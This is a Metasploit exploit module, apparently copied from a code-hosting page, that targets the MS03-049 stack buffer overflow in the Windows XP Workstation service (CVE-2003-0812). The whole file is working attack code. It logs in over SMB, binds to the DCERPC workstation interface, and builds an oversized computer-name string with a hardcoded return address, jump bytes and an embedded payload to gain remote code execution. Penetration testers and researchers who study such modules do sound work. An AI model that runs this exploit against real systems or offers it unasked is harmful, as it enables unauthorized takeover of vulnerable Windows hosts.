CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = GoodRanking
8

9
  include Msf::Exploit::Remote::DCERPC
10
  include Msf::Exploit::Remote::SMB::Client
11

12
  def initialize(info = {})
13
    super(update_info(info,
14
      'Name'           => 'MS03-049 Microsoft Workstation Service NetAddAlternateComputerName Overflow',
15
      'Description'    => %q{
16
          This module exploits a stack buffer overflow in the NetApi32 NetAddAlternateComputerName
17
        function using the Workstation service in Windows XP.
18
      },
19
      'Author'         => [ 'hdm' ],
20
      'License'        => MSF_LICENSE,
21
      'References'     =>
22
        [
23
          [ 'CVE', '2003-0812' ],
24
          [ 'OSVDB', '11461' ],
25
          [ 'BID', '9011' ],
26
          [ 'MSB', 'MS03-049' ],
27
        ],
28
      'DefaultOptions' =>
29
        {
30
          'EXITFUNC' => 'thread',
31
        },
32
      'Privileged'     => true,
33
      'Payload'        =>
34
        {
35
          'Space'    => 1000,
36
          'BadChars' =>  "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c" + [*(0x80..0x9f)].pack('C*'),
37
          'StackAdjustment' => -3500,
38
        },
39
      'Platform'       => 'win',
40
      'DefaultTarget'  => 0,
41
      'Targets'        =>
42
        [
43
          [ 'Windows XP SP0/SP1',
44
            {
45
              'Ret' => 0x71aa32ad # pop/pop/ret in ws2help.dll
46
            }
47
          ],
48
        ],
49
      'DisclosureDate' => '2003-11-11'))
50

51
    register_options(
52
      [
53
        OptString.new('SMBPIPE', [ true,  "The pipe name to use (BROWSER, WKSSVC)", 'BROWSER']),
54
      ])
55
  end
56

57
  def exploit
58

59
    connect()
60
    smb_login()
61

62
    handle = dcerpc_handle(
63
      '6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
64
      'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
65
    )
66

67
    print_status("Binding to #{handle} ...")
68
    dcerpc_bind(handle)
69
    print_status("Bound to #{handle} ...")
70

71
    print_status("Building the stub data...")
72

73

74
    name = rand_text_alphanumeric(5000)
75
    name[3496, 4] = [target.ret].pack('V')
76
    name[3492, 2] = "\xeb\x06"
77
    name[3500, 5] = "\xe9" + [-3505].pack('V')
78
    name[0, payload.encoded.length] = payload.encoded
79

80
    stub =
81
      NDR.long(rand(0xffffffff)) +
82
      NDR.UnicodeConformantVaryingString("\\\\#{datastore['RHOST']}") +
83
      NDR.long(rand(0xffffffff)) +
84
      NDR.UnicodeConformantVaryingString(name) +
85
      NDR.long(rand(0xffffffff)) +
86
      NDR.UnicodeConformantVaryingString('') +
87
      NDR.long(0) +
88
      NDR.long(0)
89

90
    print_status("Calling the vulnerable function...")
91

92
    begin
93
      dcerpc.call(0x1b, stub)
94
    rescue Rex::Proto::DCERPC::Exceptions::NoResponse
95
    rescue => e
96
      if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
97
        raise e
98
      end
99
    end
100

101
    # Cleanup
102
    handler
103
    disconnect
104
  end
105
end
106

107